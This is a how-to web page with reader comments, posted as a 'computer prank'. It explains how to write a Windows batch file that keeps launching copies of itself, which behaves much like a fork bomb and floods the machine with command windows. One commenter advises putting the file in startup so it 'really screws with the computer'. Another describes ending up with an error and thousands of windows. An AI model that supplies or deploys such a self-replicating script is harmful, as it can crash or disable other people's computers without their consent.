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Simple Computer Prank

Simple Computer Prank
This is a quick, easy way to create a small batch file in Windows, that when activated, will reopen itself very quickly.
 
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Step 1

1. Open up any word processing program. Notepad is what many people use.
2. Type in "start", and press enter
3. Type in your filename.bat
4. Save your document as filename.bat
5. Don't open it.

*note* You can name it whatever you want, just as long as it ends in .bat, and is the same as whatever is listed in the document.
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9 comments
Mar 22, 2012. 6:09 PMkfisher-williams says:
how do you stop it
Dec 15, 2010. 3:23 PMpiemonkey46 says:
Just ran it with Sandboxie, had interesting results but I could kill it easily enough.
Aug 13, 2009. 1:03 AMmunchman says:
Lovely, an infinite loop. Do something constructive
Sep 24, 2010. 9:56 AMeoscondor says:
i have a prank
its just annoying

---code start-----

@echo off
color 2
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

---code end------
Aug 14, 2009. 1:43 AMknex_mepalm says:
hmm my one opened like 1000 then i went to eat luunch when i came back it was displaying an error but nothign else, except maybe like 123873 batch files
Jul 26, 2010. 3:49 AMMasterHacker says:
does anyone know a prank that is safe, you can send through msn and is very believable
Dec 4, 2009. 6:19 AMgrampafish says:
put this in startup it really screws with the computer
Oct 6, 2009. 11:47 AMbigstiffy says:
This is like a fork bomb, except that it doesn't fork. It just opens a lot of cmd windows.

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